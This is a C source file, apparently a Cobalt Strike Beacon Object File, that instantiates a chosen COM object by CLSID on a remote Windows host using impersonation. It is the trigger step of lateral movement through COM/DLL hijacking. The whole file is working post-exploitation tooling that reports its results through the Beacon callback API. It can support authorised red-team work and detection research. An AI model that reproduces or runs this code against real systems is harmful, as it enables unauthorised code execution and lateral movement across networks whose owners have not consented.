dllcomhijacking.c 2.4 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778
  1. #include <stdio.h>
  2. #include <Windows.h>
  3. #include <objbase.h>
  4. #include <oleauto.h>
  5. #include <wbemidl.h>
  6. #include "dllcomhijacking.h"
  7. #include "beacon.h"
  8. #pragma comment(lib, "ole32.lib")
  9. #pragma comment(lib, "oleaut32.lib")
  10. void InstantiateCOMObject(LPCOLESTR clsidString, WCHAR remoteHost[]) {
  11. IID iid;
  12. HRESULT hr = OLE32$CLSIDFromString(clsidString, &iid);
  13. if (FAILED(hr)) {
  14. if (hr == 0x800401f3) {
  15. BeaconPrintf(CALLBACK_ERROR, "The provided CLSID format \"%S\" is not correct (error code: 0x800401f3).\n", clsidString);
  16. } else {
  17. BeaconPrintf(CALLBACK_ERROR, "CLSIDFromString failed with error code: 0x%08lx\n", hr);
  18. }
  19. return;
  20. }
  21. hr = OLE32$CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
  22. if (FAILED(hr)) {
  23. BeaconPrintf(CALLBACK_ERROR, "CoInitialize failed with error code: 0x%08lx\n", hr);
  24. return;
  25. }
  26. COAUTHINFO authInfo = {0};
  27. authInfo.dwAuthnSvc = RPC_C_AUTHN_WINNT;
  28. authInfo.dwAuthzSvc = RPC_C_AUTHZ_NONE;
  29. authInfo.pwszServerPrincName = NULL;
  30. authInfo.dwAuthnLevel = RPC_C_AUTHN_LEVEL_DEFAULT;
  31. authInfo.dwImpersonationLevel = RPC_C_IMP_LEVEL_IMPERSONATE;
  32. authInfo.pAuthIdentityData = NULL;
  33. authInfo.dwCapabilities = EOAC_NONE;
  34. COSERVERINFO serverInfo = {0};
  35. serverInfo.pwszName = remoteHost;
  36. serverInfo.pAuthInfo = &authInfo;
  37. IID IIDIUnknown = {0x00000000, 0x0000, 0x0000, {0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46}};
  38. MULTI_QI mqi = {0};
  39. mqi.pIID = &IIDIUnknown;
  40. hr = OLE32$CoCreateInstanceEx(&iid, NULL, CLSCTX_REMOTE_SERVER, &serverInfo, 1, &mqi);
  41. if (FAILED(hr)) {
  42. if (hr == 0x80040154) {
  43. BeaconPrintf(CALLBACK_ERROR, "Instantiating the COM object failed because it is not registered on the target system (error code: 0x80040154).\n", clsidString);
  44. } else {
  45. BeaconPrintf(CALLBACK_ERROR, "CoCreateInstanceEx failed with error code: 0x%08lx\n", hr);
  46. }
  47. } else {
  48. BeaconPrintf(CALLBACK_OUTPUT, "==========================================\n[+] COM object instantiated successfully!\n");
  49. }
  50. if (mqi.pItf) mqi.pItf->lpVtbl->Release(mqi.pItf);
  51. OLE32$CoUninitialize();
  52. }
  53. int go(char *args, int len) {
  54. datap parser;
  55. LPCOLESTR* clsidString = L"";
  56. WCHAR* host = L"";
  57. BeaconDataParse(&parser, args, len);
  58. clsidString = BeaconDataExtract(&parser, NULL);
  59. host = BeaconDataExtract(&parser, NULL);
  60. InstantiateCOMObject(clsidString, host);
  61. return 0;
  62. }